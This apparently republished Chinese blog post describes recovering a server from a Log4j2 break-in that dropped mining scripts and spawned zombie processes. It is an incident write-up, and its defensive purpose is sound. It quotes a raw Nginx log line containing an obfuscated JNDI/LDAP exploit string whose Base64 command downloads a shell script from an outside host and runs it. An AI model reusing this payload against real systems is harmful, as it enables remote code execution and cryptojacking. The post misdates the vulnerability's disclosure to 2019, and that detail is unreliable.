日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击

發布時間:2025/1/21 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.前因

在2019年12月份,爆出來的log4j2漏洞,當時可謂滿城風雨。當時自己的一個框架剛好從log4j升級到log4j2。按照當時的方案,臨時做了修復,但終究還是抵不過殘酷的現實,該來的始終還是會來的。因此不可輕視這些安全的問題。

2.發現中病毒的過程

一大早起床,手機就收到短信,說某某服務器中病毒了。因為服務器是在阿里云上,所以上班后第一件事情就是就是進入阿里云后臺。在云阿里云中心查看,果然中招。

?

查看這個惡意的腳本代碼,發現是從java web項目中來的。再根據現在他攻擊的腳本,發現就是利用了log4j2的漏洞進來的。

接著我們根據阿里云掃描得到的信息,第一時間先去把它在我們服務器上留存的腳本,先刪掉。

使用 rm -rf ****? 這樣的命令,把那些文件全部干掉。

?通過這些信息,我們發現,他腳本信息是存放在/tmp目錄下。

3.解決思路

3.1.先分析病毒從哪里進來的,先修改這個源頭的來源。

防止我們在服務器拼命殺毒,最后,攻擊者還是 可以輕易的把腳本弄進來。前面我們已經知道攻擊者是從我們的web項目進來的。然后前端我們的使用Nginx進行請求分發。所以通過這條線索,我們查看Nginx的請求日志,根據阿里云發現病毒的時間,我們查看日志的時候,重點查看這段時間內是否有異常的請求。

159.203.95.42 - - [18/Mar/2022:07:46:44 +0800] "GET /:443:undefined?id= HTTP/1.1" 404 128 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "-"

最后一段參數通過Base64位解碼:最終就是攻擊的腳本了。

?最后我們確定這就是log4j2漏洞,被人攻擊了。

3.2.先修改項目中的log4j2版本

因為項目springboot版本不是特別高,之前一直是使用1.幾的版本,本來是想著log4j2的功能更豐富和性能更好,所以升級了。現在為了解決問題,先把log4j版本,降低到原來的使用版本。這樣最快速解決問題。

3.3.刪掉這個漏洞加載進/tmp下的文件

這個相對比較簡單一些。因為一般情況下,/tmp目錄下的文件,都不是特別重要的文件。

所以看到默認的文件,就把它們干掉。

3.4.安裝htop工具,查看異常的進程

這個工具非常有用,白天因為病毒一起來,阿里云幾分鐘之內就把那些進程殺死了。但是因為病毒已經進來,并創建了很多個守護進程。我們通過top命令,又查不到這些特殊的進程存在。因此很難發現異常情況。

先安裝htop工具,我這邊的系統centos7.9的系統。

yum -y install htop

安裝完后,直接在輸入 htop? 命令就可以執行了。退出命令,直接按F10? 即可。

?一般情況下,我們正常的進程,command這一列都是具體的路徑,或者是具體名稱。但看到這種一串字符的進程。估計就是病毒進程了。

通過這個線索,我們通過ps aux|grep pid 來查看,具體的進程所在的位置,和他的啟動時間。

ps aux|grep PID

在查詢的過程中,發現這些進程中有 defunct? 這個標識。一查才發現,原來這些是僵尸進程的標識。從發現病毒到當天晚上10點多,通過以下命令查看,竟然有300多個僵尸進程存在。怪不得,隔一段時間,就會發起一波攻擊,原因就是這些僵尸進程導致的。

ps aux|grep defunct

這里特別要注意,要殺僵尸進程,一定要先殺死他的父進程,這樣子進程就會自動掛了。

結合下面命令進行殺父進程

kill -9 pid

技巧,當時看到僵尸進程有300多個,心碎了一地,這要殺到什么時候,最后實踐得出一個規律,那就是從最早產生的進程殺起。一般這些進程基本上就是父進程了。

殺完之后,再使用命令查看,是否減少了。

ps aux|grep defunct

?最后看到這里,基本上就殺完了。

總結一下,一般這種病毒為什么殺了之后,還會不斷的出現,本質上就是因為這些守護進程還存在,不把這些守護進程殺掉,那分分鐘鐘攻擊還是會起來。

4.最后我們通過監控,看cpu還會不會突然起來,來判斷是否把這些病毒清掉了。

?

總結

以上是生活随笔為你收集整理的解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。